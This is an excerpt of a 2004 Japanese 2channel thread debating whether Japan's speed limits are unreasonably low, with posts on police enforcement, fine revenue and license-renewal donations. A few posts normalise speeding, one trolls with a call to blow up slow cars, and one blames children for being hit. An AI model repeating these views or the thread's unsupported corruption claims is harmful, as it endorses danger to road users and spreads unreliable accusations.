>>456にもあるように、大半の一般ドライバーの感覚に合った水準が適正だろう。
もし、道路構造令ってものが一般ドライバーの感覚とかけ離れているなら、制限速度と共に見直しが必要だ。

一般ドライバーの心理として、「事故は起こしたくない」と「ストレスなく走りたい」が共存しており、
何も制限されなければ、そのバランスが取れたと思う水準で走る事になるのだが、
それに当てはまらない一部のDQNが一般ドライバーを危険に感じさせる(速い・遅い)スピードで走るので、
そのDQNを排除するために制限を設けるのだが、その水準が一般ドライバーを巻き込んで低く設定されているので、
誰にも守られないルールになってしまっているのが現状。だから、見直しが必要なのである。

458 :名無しさん@お腹いっぱい。:04/01/31 12:01 ID:0XMteGQV
まずは>>446-450へメール送る事からはじめよう。
小さな一歩だけど、一歩目が無ければ二歩目もない訳で・・・。

459 :名無しさん@お腹いっぱい。:04/02/01 06:01 ID:LtVebEFr
制限速度守って走って奴見たことないな 誰も居ないだろう


460 :名無しさん@お腹いっぱい。:04/02/01 21:35 ID:???
>>459
完全黙認状態ならともかく、不条理な規制を根拠に取り締まりをやっているから、見直さないといけないんだよね。
交通量の多い都心の50-60km/h規制はそれなりに守られる傾向にあるが、実際それぐらいだよね。

461 :名無しさん@お腹いっぱい。:04/02/02 21:00 ID:rdtnARdk
せめて公安委員会に国民審査があったら、ここまでひどい事にはなってないんだろうな〜。
最高裁の判事みたいに、過半数の国民(住民)が否と投票したら解任という制度にして欲しいよ。

462 :名無しさん@お腹いっぱい。:04/02/02 22:41 ID:???
>>461
それだと、余程の事がない限り解任にはならないだろうな。
実際、国民審査で解任された判事はいないし。

463 :名無しさん@お腹いっぱい。:04/02/04 10:12 ID:k2D9+Xsx
>>446
週刊現代が取り上げてくれそうだ。
ttp://www.dango.ne.jp/goo/zine-a.htm

464 :名無しさん@お腹いっぱい。:04/02/04 11:31 ID:???
>>459
漏れは、免停後一年間は理不尽だと思っても、制限速度守った
辛かったYO、他の車に煽られっぱなしだったけど我慢した。

465 :名無しさん@お腹いっぱい。:04/02/04 12:41 ID:k2D9+Xsx
>>464
そもそも、守って「辛い」と感じる制限速度自体、おかしいんだよな。
守れば「安心」、破れば「怖い」と感じるレベルでないといけないよな。

466 :名無しさん@お腹いっぱい。:04/02/04 12:43 ID:k2D9+Xsx
>>465
ちなみに、2行目は「摘発」に関して「安心」「怖い」というものではない。

467 :名無しさん@お腹いっぱい。:04/02/04 15:02 ID:/b6TpgfL
>>463
発売されたら早速買いに行かなきゃε=ε=ε=(/・_・)/ワー |本屋|
読んだら感想と激励のメール送っとこう。
ちなみに2/14号って、店頭に並ぶのいつごろだろ?

468 :名無しさん@お腹いっぱい。:04/02/04 17:33 ID:???
>>465

法は、守るのが辛いものなんだが。

469 :名無しさん@お腹いっぱい。:04/02/04 21:38 ID:???
>>468
基本的に法は生活の安全を守るためにあるものだと思っているので、
守るのが辛いと決めつけるのはどうかなと。
法がなければ、今のイラクみたいになるので、そういう環境での生活の方が辛いような。
まあ、ここで法律論を取り上げるつもりはないんだけど、ちょっと一言。

470 :名無しさん@お腹いっぱい。:04/02/04 22:40 ID:yUr26lVP
>453に賛成。

実際、つねにそのくらいで走ってるYO。

471 :名無しさん@お腹いっぱい。:04/02/04 23:17 ID:wtIKRvmo
>>469
その法が合理的かどうかが問題だと。
「山中で旅人を襲撃してはいけません」というような法なら大部分の人は喜んで守ると思うが、日本の速度規制のように多くの善良な市民が苦痛に感じるような法律はいかがなものか。


472 :名無しさん@お腹いっぱい。:04/02/05 08:36 ID:2cbyEFxJ
>>471
>>469はそういう意味で言ったと思われ。

473 :名無しさん@お腹いっぱい。:04/02/05 08:53 ID:w7OSTq+s
>>469
>>472
これは失礼。

474 :名無しさん@お腹いっぱい。:04/02/05 17:42 ID:dlPNCZPN
「守って「辛い」と感じる制限速度自体、おかしい」
ならば積極的に変えるべき。
ネットの普及で窓口は豊富だ、内閣・政党・族議員・マスコミなどに
皆で意見を送りつけよう!
明らかに誰も守ってない法律なのに改正が話題にならないのは警察と
その関係者が甘い汁を啜っているから。ネット世論が高まればヤツら
も無視できない。

475 :名無しさん@お腹いっぱい。:04/02/05 21:53 ID:M75sIVrP
>>474
>>446付近から週刊誌にメールを送ろうキャンペーンをやっているから、まずは参加してみたらどう?
その結果かどうか知らないが、週刊現代が速度違反についての記事を出してくれるようだし。

それより、今日のミリオネアの問題になっていたけど、
平成14(2002)年度で最も検挙された交通違反が最高速度違反の260万件らしい。
中には悪質なのもいるだろうが、うち250万件は不合理な規制の犠牲者だろうな。

476 :みのもんじろう:04/02/06 15:32 ID:x0+PuoWI
個室マンボウは違法だ!以上wwww漫画喫茶MANBOOは違法

477 :名無しさん@お腹いっぱい。:04/02/06 20:12 ID:F48JCJCC
>>475
>>不合理な規制の犠牲者だろうな。

その犠牲者が払った反則金で肥え太ってる業者に警察官僚が天下って、たっぷり退職金貰ってるんだろうな。
みんなで声を挙げて、変えていこうよ。

478 :名無しさん@お腹いっぱい。:04/02/07 00:20 ID:0ASg266G
今年は免許の書きかえだ。

「安協の寄付を・・・・」と言われたら、

「公安なんて糞食らえだから払わねえよ」と
言いましょうね。

479 :名無しさん@お腹いっぱい。:04/02/07 12:34 ID:C4GmKkiW
>>478
それでもしつこく勧誘されたら、行き過ぎた速度取締りについて苦言を呈しておきましょう。
彼らも速度取締りが市民の反感を買っている事は知っている筈だけど、こういう機会にしっかり再認識してもらいましょう。


480 :名無しさん@お腹いっぱい。:04/02/07 14:49 ID:HP98+qiq
>>478
あれって、半強制だよな。拒否すると、実質上のペナルティーがあるらしいし。
普通の寄付なら、自分で額が決められるが、金額まで指定されているのだから。

481 :名無しさん@お腹いっぱい。:04/02/07 16:22 ID:???
>実質上のペナルティーがあるらしいし。

「あるらしいし」ってとことが、さりげなくうまいね。「ある」って言っちゃったら完璧ウソだからね。
座布団3枚あげなさい、交通安全協会の文字を金糸で刺繍したやつ。

482 :名無しさん@お腹いっぱい。:04/02/07 23:10 ID:???
>>481
でも、寄付を拒否して、更新の順番を最後にされた人がいたよ。
これって、実質上のペナルティーだと思うが。

483 :名無しさん@お腹いっぱい。:04/02/08 04:15 ID:6oUkdtu8
>>482
それって、公権力を用いた押し売りじゃん。

そういう時は、断固抗議しましょう。
納得の行く回答が無ければ監察官へ!
言った言わないで争いになるといけないので、警察関係の所へ行く時には録音装置持参。
全く、ケーサツって所は・・・(ry

484 :名無しさん@お腹いっぱい。:04/02/08 04:17 ID:6oUkdtu8
(補足)
まずは、更新の順番を最後にすべき正当な理由を問いましょう。
正当な理由が無かったり、取ってつけたような理由なら「公権力を用いた押し売り」の可能性が高くなります。


485 :名無しさん@お腹いっぱい。:04/02/08 04:23 ID:???
>>482
ぜんぜん具体性のない話ですね。
だいいちそんなもんが「実質上のペナルティー」ですか。
のこのこ後ろへ回るなんて、なんてひ弱なお方でしょ。笑っちゃうわよ、ねえ。



486 :名無しさん@お腹いっぱい。:04/02/08 21:05 ID:???
>>478-485
安協の寄付の話は別でやってくれないかな。

487 :名無しさん@お腹いっぱい。:04/02/09 16:44 ID:???
現実を認識できない香具師に意見してやってくれ。

スピードオーバーは厳しく取り締まれ
http://society.2ch.net/test/read.cgi/traf/1062161128/

488 :名無しさん@お腹いっぱい。:04/02/09 17:49 ID:H7XRIPVo
車乗っている人で、スピード違反したこと無い人は一人もいないだろ?
みんな、スピード違反で『捕まって』いないだけ

制限40キロの道路で、本当に40キロで走ってたら迷惑だよなぁ

交通課の人間だってパトだとスピードオーバーしていると市民からクレーム
が入るからトロトロ走ってるけど、自分の車だったら余裕でオーバーだよ

489 :名無しさん@お腹いっぱい。:04/02/09 21:04 ID:Msa/7y74
http://www.web-pbi.com/speed5.htm

490 :名無しさん@お腹いっぱい。:04/02/10 21:01 ID:eVixZiGO
>>488
それに、交通課の人だと取締りの場所には精通してるだろうから捕まらないしね。

捕ってないだけで自ら違反を日常的にしてる人達が取り締まってるとしたら、どんな気持ちで取り締まりしてるんだろうな。
まあ、生活の為と割り切ってるんだろうけど。

自分なら・・・よーやらんわw

491 :名無しさん@お腹いっぱい。:04/02/10 21:51 ID:9Oi9nVUj
>>490
現場の警察官も「自分も納得していないが、法律だから仕方ない」と思っている人は多そうですね。
しかも、ドライバーには恨まれるし。本当に辛い仕事だとは思いますよ。
暴走族の取り締まりなら、「周辺住民やドライバーの安全を守るため」という動機ができますが、
(車の流れに沿った違反の)速度取り締まりにはそれがないですし。

492 :名無しさん@お腹いっぱい。:04/02/11 08:14 ID:???
前に交通違反で検挙したがたまたま警察の同僚だったから切符切らなかったブォケ警官いたな。
上から信用問題にかかわるから切れって言われたにもかかわらず結局最後まで
切らなかった。
警察なんて信用する方がアフォらしい。
そんなんでよく一般車両を検挙できるな。
普通の神経だったら良心が死ぬほど痛むだろう。
俺たちは生きてお前達は死ねって平気でいえるような奴ら。

493 :名無しさん@お腹いっぱい。:04/02/12 11:55 ID:LxENzAam
スピード違反は本当に納得できない。
多分利権が無いから法改正も出来ないんだろうな。
いっそ、制限速度を完璧に守る速度で交通量の多い道路を5〜6台で
占領したらいいんじゃないか。
そこらじゅうで渋滞起こしまくって全国の違反者が抗議すれば少しは
マシになるだろう。

494 :名無しさん@お腹いっぱい。:04/02/12 21:54 ID:bxCBdsb1
>>493
以前、NHKが高速道路で実験していたような…ハッキリ覚えていないけど。
予想通り、後ろが大渋滞を起こしたらしいぞ(w
もし、制限速度走行実験を行うなら、高規格一般道路で試すのがお勧めだな。
料金不要だし、車の流れを抑制するのに最高だからな。
なお、関西か中京圏在住なら、名阪国道が最適条件だな。

495 :名無しさん@お腹いっぱい。:04/02/13 22:32 ID:SPpzVhXw
>494
北海道だと、しばしば
自己中運転の方々が
大名行列をつくる実験(?)をしてます。

おかげで、後ろはイライラ、
無理な追い越しや、無駄な車線変更するクルマが続出して
非常にスリリングですよ。

496 :名無しさん@お腹いっぱい。:04/02/14 13:54 ID:???
>>494
この前、高田バイパスという高速道路規格の一般道路を試しに制限通り60km/hで走っていたら、
クラクションは鳴らされなかったものの、予想通り全ての車が追い越していきました。
帰りは80km/hまで出したけど、それでも追い越す車は結構いました。
漏れの知人にここを原2で走った強者がいましたが、追い抜く車に接触しそうな事もあったそうです。
制限速度実験の時はくれぐれも事故を誘発することがないようにご注意下さい(w

497 :名無しさん@お腹いっぱい。:04/02/14 16:40 ID:3pAefTpQ
天気が良かったのでうかれて走ってたらネズミ捕り!
うぁぁぁぁーーん  31キロオーバーで捕まったぁ(><)
罰金はいくらくらいかなぁ・・・

498 :名無しさん@お腹いっぱい。:04/02/14 22:57 ID:+Ayc+LGd
今の速度標識や表示はそのままで、それを「制限速度」ではなく
「推奨速度」にすればいいのではないかと思いました。その速度で
走行していればまず安全ですよということで。

499 :名無しさん@お腹いっぱい。:04/02/15 04:27 ID:TMvvAyYt
道警報償費疑惑
ttp://www.mainichi.co.jp/news/flash/shakai/20040214k0000m040120001c.html
の上から1/3辺り。

原田氏によると、国費の旅費や捜査費、道費の報償費や参考人旅費まで、裏金作りは道警内部のあらゆる部署で組織的に行われていた。
内部でプールされた裏金は、一部は捜査経費に使われたが、多くは部内の懇親会費や餞別(せんべつ)、警察庁の接待や議会対策費などに充てられたという。

「議会対策費」って、もしかして不合理な速度規制を存続させる為の、議会に対する工作資金も含まれてるのかな。
とにかく、自分たちの利益にならない事の為にわざわざリスクを犯して裏金を作って「議会対策」を行うとは思えない。
という事は、反則金がらみかどうかは断言出来ないが、警察の利権を守る為の「議会対策費」である事は確かだと思われる。


500 :警察嫌い:04/02/15 04:41 ID:OP39iNlZ
 否定的な意見になってしまうかもしれませんが、私もこのことについては普段から良く考えます。
第1の問題は、警察の予算の中に、交通違反の反則金が組み込まれていることです。
奴らは予算を増やすために、1件でも多くの違反者を検挙して金を稼ぎます。
ノルマもあるくらいです。だから、規制緩和はしない気がします。
第2の問題は、世界的にはどうだか知りませんが、私の思う限り、免許を簡単に与えすぎです。
運転もろくにできないようなヤツに免許を与えるから事故が多いんだと思います。
 しかし、逆に言えば、この問題点を解決すれば可能ということになります。
第1の問題を解決するために、行政改革によって反則金は警察の予算には組み込まず、
どこかに寄付するとか恵まれない子供たちのために使うようにすれば良いと思います。
払うほうも、これならいくらか嫌な気はしません。
第2の問題を解決するために、運転免許所得者にランク分けが必要だと思いました。
普通免許以外に個々の運転のレベルに合わせて速度を設定する必要があるからです。
また、昔の車と今の車で比較するのならば、同じ今の車でも、ブレンボブレーキがついてる車と
トラックでは当然制動能力が違うのでこの点も考慮するべきです。
 今の法定速度では、はっきり言って守っていながらに事故を起こすことは難しいと思います。
ですから、これを基準にランクの高い免許、車の人に対して+αすれば良いのではないでしょうか?


501 :名無しさん@お腹いっぱい。:04/02/15 22:29 ID:???
>500
>第1の問題は、警察の予算の中に、交通違反の反則金が組み込まれていることです。
警察の予算には組込まれてはいないね。
国家予算には組込まれているかな。
でも、そのお金はあくまで”違反している人”から徴収するもので”違反しない人”からは鐚一文徴収していないね。


502 :名無しさん@お腹いっぱい。:04/02/15 22:50 ID:ezIrOxe3
>498
推奨速度ね、いいかも。

当方、北海道在住なんだけど表示されてる速度で
走るつもりなら、アイスバーンのものすごく滑りやすい
路面でも、ほとんど問題なく走れるし。

ただ、その速度規制で夏に取り締まられるのはキツイね。

503 :名無しさん@お腹いっぱい。:04/02/16 00:46 ID:???
そりゃ日本の政治家が知的障害者だからさ

504 :名無しさん@お腹いっぱい。:04/02/16 09:02 ID:AlHZLsXG
>498

基準速度でいいんじゃないか。

ただし、基準速度を20キロ超えると違反として検挙される。
結果としては今とあまり変わらないかも知れないが、それなら納得する。


505 :名無しさん@お腹いっぱい。:04/02/16 16:27 ID:???
 反則金の収入は「交通安全対策特別交付金」として都道府県、市町村に交付され、
信号機や標識など交通安全施設の設置・管理に充てられることになっている。
交付するのは総務省。翌年度にいくら交付するか、警察庁と協議して決めるそうだ。
 その予算額を総務省に尋ねてみた。
http://www008.upp.so-net.ne.jp/ko-tu-ihan/LIBRALY/LIBRALY_syuttouritu.htm


506 :史上最強のマンコ ◆NiIboifGFE :04/02/16 18:48 ID:???
高速道路の走行車線を100キロ以下、老い越し斜線を120キロ以下で走る車は爆破しろ。

507 :名無しさん@お腹いっぱい。:04/02/16 22:39 ID:???
↑釣りです。下手にかまわないように。

>>500
免許に速度格差を付けるのには反対。
下手に速度格差を付けると、かえって危険度が増す。(原付がいい例)
1道路1基準の方が比較的安全だ。

>>504
基準速度は恣意的にならないよう>>453で固定、
警察は強制力のない推奨速度を出す事しかできなくすればいい。
そして、反則金は交通遺児へ全額寄付することを義務づければ、
反則金への利権を失わせる事が出来るはず。

508 :名無しさん@お腹いっぱい:04/02/17 19:04 ID:PfykfLLc
討論会開催中
携帯からでも参加出来ます
http://ip.tosp.co.jp/i.asp?i=PromiseEve

509 :名無しさん@お腹いっぱい:04/02/19 08:16 ID:???
スピード違反2回で、免許取り消し
それ以外は、パーフェクトなのに

510 :名無しさん@お腹いっぱい。:04/02/19 12:03 ID:LTkXz9Vd
>>504
今と瓦んねぇ

511 :名無しさん@お腹いっぱい。:04/02/19 13:32 ID:I1+5Zl0y
田舎に住めば住むほど規制速度の不条理がわかるよ
今の規制でもいいじゃねーかって言ってる人は都市住民かな
でも都市でも環七みたいに取り締まり専用道になってるとこもあるけどね

ところで亀レスだがアメリカは速度取締りが厳しいのは事実だが
制限速度で走った場合の体感速度はかなり速いよ
体感速度で安全に対する余裕や目配りも変わってくるわけだから
日本の郊外や田舎の規制速度は先進国中では遅すぎる部類に入ると思う

512 :名無しさん@お腹いっぱい。:04/02/19 13:45 ID:???
>>511
田舎は徒歩でもヘルメットかぶってるが
それは歩行者と車両分離も進んでいないかから
危険ということじゃないの?

田舎なんて信号も渋滞もないのだから制限速度だって
充分だろ

513 :名無しさん@お腹いっぱい。:04/02/19 14:43 ID:???
>>512
田舎は徒歩でもヘルメットかぶってるが

どこの国の話だw
それとも自転車の事か?

514 :名無しさん@お腹いっぱい。:04/02/19 15:17 ID:???
佐賀県かw?

515 :名無しさん@お腹いっぱい。:04/02/19 22:01 ID:???
>>511
海外では市街地と郊外で制限速度が違うもんなぁ。
市街地は50-60km/h制限で日本と大差はないが、郊外は80-100km/hと日本の高速道路並み。
それを市街地と同じ制限を適用するから、誰も守らなくなるのは当然と言えば当然だな。
ちなみに、海外の高速道路の制限は120-130km/hの範囲に多くの国が収まっている。

>>512
信号も渋滞もないからこそ、制限速度を引き上げる意味があるんだろうが。
それに、工事現場にあるようなヘルメットでは防護力が弱すぎ。
あれでバイクを運転すると、警察に注意される事もあるよ。

516 :名無しさん@お腹いっぱい。:04/02/20 01:13 ID:D9ii+lou
>515
原動機付き自転車を運行する際、工事用ヘルメットで代用できる(×)。

免許捕るときに、上記のような人を小馬鹿にしたような設問あるね。

他にも、
麦酒はアルコール度数が低いので、一杯程度なら飲酒後に運転をしても構わない。(×)

なんかも笑える。

奇問珍問だね。

んで、学科の問題集的にいうと、
日本は自動車後進国で、日本人は運転が下手だから、見通しのよい郊外路でも
市街地と同様の速度制限が行われてる。

ってことになるのかな?
因みに、この問いの答えは(×)で、

解説・・郊外路での低い速度制限は、警察の警察による警察の為の
取締りの目的で制定されてる。

ということになる。


517 :名無しさん:04/02/21 18:25 ID:DCDQPPvE
ちょっと原付の話をするけど,先日捕まった時に白バイに聞いてみた。
貴方は何故原付が30キロ制限なのか知ってますか?と。
回答は「知らない」だそうです。おまえら,なんも知らんと取締りしてるのか!!!
曖昧な答えは出していました。原付は30キロ以上出すと,性能的に壊れる事がある。
だったらレース車はなんじゃゴルァ!!!
普通の国道で30キロで走ってると危ないに決まっている。車にひかれて死亡。
いつ,誰が決めたのか?30キロな理由は何故?と警察庁に問い合わせをしたところ,
無回答。納得できません。
今後,原付の制限速度を上げる活動をしていくつもりです。
ってか切符切られる前に「認めない。」と言えば良かった・・・。
速度オーバーを認めてサインしてしまった俺はアホだ・・・。

518 :名無しさん@お腹いっぱい。:04/02/21 22:25 ID:???
>>517
原付の制限速度緩和と同時にバイクの免許制度も同時に改正してほしいな。
原付二輪(125cc以下)と普通二輪(125cc超)の2通りにして、両方に技能試験を実施。
技能試験は普通二輪は現状の内容で、原付二輪は自転車に乗れれば合格できるレベルにする。
大型二輪を運転している香具師によると、400ccも750ccも運転には大差がないそうなので、
普通二輪と大型二輪の区分は廃止し、普通二輪に統合する。

519 : :04/02/22 07:49 ID:yWt9oakD
今の取り締まりは甘いと思います
事故の大半は速度超過が原因です
人身事故を起こしてからじゃないと安全運転できませんか?
それとも自分が被害者になって速度超過がどれだけ悪い事なのかを知りたいですか?

車を運転する以上、一瞬で人生が終わる可能性があるのです
その辺を理解して欲しいと思います

520 :名無しさん@お腹いっぱい。:04/02/22 10:16 ID:???
最近事故調査のあり方について批判が大きくなってきてるよね。
死亡事故にいたった要因をきっちり調査していないんじゃないかって事で。

>>519 みたいに思っている人って多いんだろうなぁ。


521 : :04/02/22 10:42 ID:yWt9oakD
ちょっとだけ体験談を

真冬の朝、ちょっと寝坊して暖機が不十分な内に車で出かけました
道も空いていたし先方の信号が赤だったのでエンジンの事も考慮して
制限速度40キロのところを35キロくらいでノロノロ走っていました
普段通り慣れている道で今まで一度も飛び出しなんか無かったのに初めて
子供の飛び出しに遭いました

クラッチを切る事も忘れてただひたすら急ブレーキした
まぁ運が良かっただけかも知れませんが子供は轢かずにすみました
もし轢き殺していたら今ごろ交通刑務所行きでしょうね
出所しても一生人殺しの責で苦しんでいたと思います

制限速度はその道の状況を考慮しての設定だと思うので守って損はないと思います

522 :名無しさん@お腹いっぱい。:04/02/22 11:23 ID:jDa0Yf7U
>>521
それは幸いでしたね。犯罪に問われなくても、嫌なものですから。
でも、本当に悪いのは危険な車道に飛び出したガキの方のはず。
今の道交法は歩行者を過剰に保護しすぎ。だから、当たり屋が出てくる。
鉄道なら、線路に立ち入った人をひき殺したからといって、運転士は罪に問われない。
むしろ、線路に立ち入った人が罪に問われる。車道だって同じにすべきだ。
こういうことを言うと、免許が云々という人もいるが、列車を運転するのも免許が必要。

523 :名無しさん@お腹いっぱい。:04/02/22 11:51 ID:jDa0Yf7U
>>519
その前に、なんで、日本の速度取り締まりが甘いのかわかるかな?
規制そのものが現実に沿っていないから、運用面で甘くしているんだよ。
本来なら、規制そのものを現実に合わせて、運用を厳しくしていく方が望ましいけど、
全然そうならないからこのスレッドが出来たんだよね。
規制緩和を求めているドライバーは決して速度超過を奨励している訳じゃないんだ。
むしろ、法規を守っても普通に走れるようにしてほしいと望んでいるだけなんだよ。
あと、速度超過だけが原因の事故(カーブを曲がりきれない等)なんてわずかだよ。
大抵の事故は、前方不注意などの注意義務違反が主要因だよ。

524 : :04/02/22 17:45 ID:yWt9oakD
>>519

君の言いたい事はよく理解してるよ。
しかし安全面を考えるとどうだろう?
高速道路の100キロ制限は、実際に走ってみるともっとスピード出したい
って気持ちになるのは分かる。
しかしちょっとの運転ミス・強風・タイヤのバースト等事故を起こす確立が
増えるわけです。
「自分は運転上手いから大丈夫」って思うかも知れないけど、自分の前の車
が事故起こして巻き込まれたら困るよね?
事故に遭わなくても、事故渋滞に遭う可能性もある。
そして事故に遭った時の怪我の程度にも影響すると思う。
これは一般道でも同じ事が言えると思うよ。

事故の原因も前方不注意などの注意義務違反が主要因かも知れないけど、
もし制限速度を守っていたら避けられたかもしれないケースも多いのでは?

事故の加害者とか被害者になってからでは遅いんですよ。


525 :名無しさん@お腹いっぱい。:04/02/22 20:53 ID:qSo8Vaj9
>>524
言いたいことはよく分かります。
確かにゆっくり走れば走るほど、安全性は高まるでしょうね。
80キロより50キロの方が安全ですね。

でも、その点だけに着目すると、じゃあ40キロならもっと安全、30なら・・・20キロなら・・・、となるんじゃないかな。
どこかでバランスを取る必要がある。

今の規制速度は、一般的なドライバーの感覚と比べても、諸外国と比べても、或いは>>1にあるように40年以上も前から変わってないという事実から考えても、やはりおかしい。
色々な基準で考えてみても、正当化しうる根拠が皆無。
敢えて正当化するなら「ゆっくり走れば走る程安全」か、「公安委員会と警察の偉い人たちが決めた事だから守れ」という位しか思い当たらない。

結果「速度違反=大して悪い事じゃない」という事が常識と化してしまっている。
それにより、本当に危険な程飛ばしてる人であっても白い目で見られる事がない。
あと、生活道路の30キロ規制標識のように本当に守る必要があるものまでが、あまり守られない。
こんな状況を生み出している取締りが、交通安全の役に立ってるとは思えないでしょう。


526 : :04/02/22 21:52 ID:yWt9oakD
>>525

言いたい事が分からないよ
今の法廷速度をもっと低くして欲しいって事?
あと取締りはもっと強化して厳罰にするって事ですか?




527 :名無しさん@お腹いっぱい。:04/02/22 21:53 ID:045QK/Pp
昨日、40キロ制限の道で62キロで白バイに捕まりました。
実は11月にも、同じ場所で同じスピードで捕まっていたので、
納得しないで、10分ぐらい文句を言っていたら
「今日は、厳重注意にする・・」だってよ!
これっていいの??

528 :名無しさん@お腹いっぱい。:04/02/22 21:58 ID:???
>>524
あと、本当に危険なのはスピードそのものではなく、速度差。
高速道路を全ての車が130km/hの一定速度で走っていればそれほど危険じゃないが、
この状態の中に60km/hで走行する車が1台現れるだけで危険度が増大する。
これと同じ原理が、>>517に原付の制限速度についても書いているが、
制限速度で走る方がむしろ危険だったりするのは、周辺の車との速度差が大きいからである。

529 :名無しさん@お腹いっぱい。:04/02/22 22:00 ID:???
>>526
確かに、車は危険なものであるのは紛れもない事実だが、一方で生活必需品にもなっている。
交通事故0が理想である事は誰もが認めるところだが、現実はそうならない事も分かっている。
軍隊のない世界が理想であるのだが、人間の欲望がある限り不可能な事でもあるのと同じ理屈である。
だから、多くの人が納得できるレベルでルール作りをしていくのがベストでなくてもベターな選択であろう。

作文は下手な方なので、理解できなかったらスマソ。

530 : :04/02/22 22:01 ID:yWt9oakD
>>528

じゃあ高速道路は80キロで統一くらいが妥当かもしれませんね
それでオービスはもっとこまめに取り付けるって事で・・



531 :名無しさん@お腹いっぱい。:04/02/22 22:30 ID:???
>>526
速度を下げれば、安全性は高まるが実用性が下がる

実用性のない規制は多くの人に受け入れられず、当然守られない

本当に必要な規制ですら「守る必要がない」と勘違いを起こす

実用性のある規制

たいていの人に守られる

ルール違反に対する社会の目が厳しくなる

ルール違反をする人が減る

普通の人なら、下の方が理想でしょう。これで理解できたかな?

532 :名無しさん@お腹いっぱい。:04/02/22 23:51 ID:YvBvz6DC
スピード遅めに走ると眠くなったり注意力や集中力が散漫になったりしない?
それと車の大きさでもずいぶんと危険状況に対する余裕が違うと思う
普段はちょっと大き目の普通車なんだがたまに軽に乗るときがある
軽自動車だと流れる景色がものすごい刺激になって
スピードを上げると歩行者の存在に気づかなくなりそうだよ
ついでに排気量の小さい車でいっぱいいっぱい走ってると
エンジンの回転数と血圧が比例して
60kmくらいが限度だったりするんだよね
個人的には今の規制を変えるには軽自動車枠の撤廃も視野に入れてほしいな
軽自動車自体が大きくなってリッターカーと同じ価格帯になっているんだから
(その割には幅が狭いからスピード感がすごいんだよね)
これは別に軽乗りへの挑戦じゃないよ

533 :名無しさん@お腹いっぱい。:04/02/23 00:24 ID:BJyVLwhl
法定速度+20kが、常識的と考える方への質問。
反対車線で、ねずみ取りの現場を目撃。 
捕まっている違反者を、見かけたとします。

そこで質問。
1、運の悪い奴、お気の毒
2、法律違反、捕まるのは当然のこと。

あなたは、どちらですか。











534 :名無しさん@お腹いっぱい。:04/02/23 00:46 ID:???
>>532
本当に、車のサイズや性能で違って来る面は大きいよね。
あと、タイヤのグリップが良くなれば停止距離も縮まるし。
最近の車はいずれも改善されてるのに、速度規制は変わらない。
おかしいよね。

あまりゆっくり走りすぎると漫然運転になりやすいという話は、F1レーサーの中嶋氏も言ってたよね。

軽自動車に関しては、撤廃すると安価に乗りたい人が困るなら、優遇税制はある程度残しながら800cc位まで緩和するという手もある。
あと、幅ももう少し広げれば側面の安全性も高まる。
輸出用の軽自動車は、800cc位のものも多いと思います。

>>533
1です。
付け加えると「警察の交通課というのは、本当にひどい団体だ」と思ったりもします。


535 :名無しさん@お腹いっぱい。:04/02/23 11:07 ID:???
>>534
漏れは正直、軽区分は不要だと思っている。
とゆうか、自動車に関する課税は消費税と炭素税(燃料税)の2つだけにすべきだと思う。
いくら大きい車や燃費の悪い車を所有しても、走らなければ環境負荷は小さい。
逆に、燃費がよい車でも、多く走ればそれだけの環境負荷はある。
最近は20km/l(10・15モード)を超える燃費の車も珍しくなくなったのだから、
自動車に関する税制も見直すべきだろう。速度規制と直接関係ない話でスマソ。

536 :名無しさん@お腹いっぱい。:04/02/23 12:00 ID:???
>>533
1だと思う人は多いだろう。理由は>>525>>531が説明している。
また、捕まってしまった方も「運悪く路上強盗にあった」という感覚に近いと思う。
普通に走っても違反状態になるような規制だから、その「路上強盗」にあわないために、
レーダー探知機やオービスマップを活用するし、またそれらが売れている。
本来必要のない対策をしなければいけないって、何か変だよね。

537 :名無しさん@お腹いっぱい。:04/02/23 12:00 ID:y9s8dHLB
運転がうまくてでもスピード違反する人(自称ではなく)の事故率と
運転が下手だけど規制速度を厳守する人の事故率は
どちらが高いだろう?

538 :名無しさん@お腹いっぱい。:04/02/23 12:21 ID:dSafrtes
女性が「泥棒!」…無実?の68歳男性“ショック死”

 三重県警四日市南署は、同県四日市市内のスーパーで、今月17日に「泥棒」と叫び声を挙げた、
子連れの女性を捜している。「泥棒」呼ばわりされた男性(68)は、買い物客に取り押さえられた後に
死亡したが、防犯ビデオの分析などから、何ら犯罪行為をしていない可能性が強いという。

詳しくは、
http://headlines.yahoo.co.jp/hl?a=20040221-00000303-yom-soci
(2004/2/21/11:17 読売新聞 )

■こういう糞女には、ちゃんと責任取らせないとだめです。
 被害者の男性は、犯罪者の汚名を着せられたまま亡くなったのですよ。その無念を想像してください。

三重県警察本部059・222・0110   四日市南警察署0593・55・0110

http://www.police.pref.mie.jp/SITE1PUB/servlet/enquete.EnqueteForm/5
三重県警ご意見BOX
http://www.npa.go.jp/goiken/index.htm
警察庁ご意見箱

539 :名無しさん@お腹いっぱい。:04/02/23 18:20 ID:LDfI5ctg
よっぽど大きな道路じゃないと一般道では見通しのいい好条件の道路でも40km制限が殆どだよね。

で、それはあくまで「制限速度」で1kmでオーバーすれば速度違反となるから、まあ35kmで走ったとすると…

やっぱ、どう考えても異常な速度設定だろ。。。


540 :名無しさん@お腹いっぱい。:04/02/23 18:45 ID:???
>>531

制限速度は現状のままで取り締まりだけをもっと強化するのは駄目ですか?

541 :名無しさん@お腹いっぱい。:04/02/23 18:56 ID:Wpc4H4ZY
http://www.web-pbi.com/speed5.htm

スピード規制の国際比較。

542 :名無しさん@お腹いっぱい。:04/02/23 18:58 ID:???
仮に制限速度を60kmから80kmにあげたと仮定します。
ご存知の通り制動距離は速度の2乗に比例するので約2倍ですね。
(ブレーキを踏むまでに進む距離の差も考慮して大雑把に)
車間距離は今までの2倍取らなければなりません。
路上の障害物も今までよりも早めに見つける必要があります。

さて、事故は自分が正しくても他人に巻き込まれる場合もあります。
つまり全ての人の事故に遭う確率が上昇します。
(事故に遭わなくても渋滞で被害に遭う場合もある)
夜間とか悪天候でも80kmで走る人が多いので当然ですね。
もちろん初心者も高齢者も障害者も80kmで走る人は多いでしょう。

さてさて、被害事故なら貰っても平気ですか?
障害者になっても賠償金ガッポリもらえれば満足ですか?
恋人が被害事故で巻き込まれて亡くなっても平気ですか?

自分の知人が事故に遭う可能性が増えても僅かな時間が欲しいですか?


543 :名無しさん@お腹いっぱい。:04/02/23 19:04 ID:???
法律が40年前だから改正するのが当然と思う人はいますか?

この40年間で変った事を考えてみました。
・ブレーキ性能・・・上がってると思う
・道路の整備・・・上がってるのだろう
・車の馬力・・・上がってますね
・人の反射神経・・・さぁ?
・人の注意力・・・下がっているのでは?(ながら運転する人多いよね)
・人の視力・・・絶対に下がっている気がする
・道路の長さに対する車の数・・・上がってるに違いない

